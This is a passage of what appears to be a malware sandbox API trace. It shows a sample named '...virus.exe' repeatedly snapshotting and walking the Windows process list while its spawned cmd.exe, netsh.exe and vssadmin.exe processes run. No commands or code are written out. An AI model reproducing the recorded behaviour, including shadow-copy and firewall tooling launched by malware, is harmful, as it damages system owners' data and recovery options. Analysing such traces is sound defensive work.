th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0214.380] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0214.381] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.381] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0214.382] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0214.382] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0214.383] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0214.383] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0214.384] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0214.384] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0214.385] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0214.385] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0214.386] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0214.386] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.387] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0214.387] CloseHandle (hObject=0x1a8) returned 1 [0214.387] Sleep (dwMilliseconds=0x1f4) [0214.899] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a8 [0214.901] Process32FirstW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0214.902] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0214.902] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0214.905] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0214.906] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0214.906] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0214.907] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0214.907] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0214.908] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0214.908] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0214.908] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.909] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.909] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.910] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.910] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.911] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0214.911] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.911] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.912] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0214.912] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0214.913] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0214.913] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0214.914] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.914] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0214.915] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0214.915] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0214.916] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0214.916] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0214.916] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0214.917] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0214.917] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0214.918] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0214.918] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0214.919] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.919] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0214.920] CloseHandle (hObject=0x1a8) returned 1 [0214.920] Sleep (dwMilliseconds=0x1f4) [0215.430] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x168 [0215.432] Process32FirstW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0215.432] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0215.432] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0215.433] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0215.433] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0215.433] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0215.434] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0215.434] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0215.435] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0215.435] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0215.435] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.436] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.436] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.437] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.437] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.438] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0215.438] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.438] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.439] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0215.439] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0215.439] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0215.440] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0215.440] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.440] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0215.441] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0215.441] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0215.441] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0215.442] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0215.442] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0215.443] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0215.443] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0215.443] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0215.444] Process32NextW 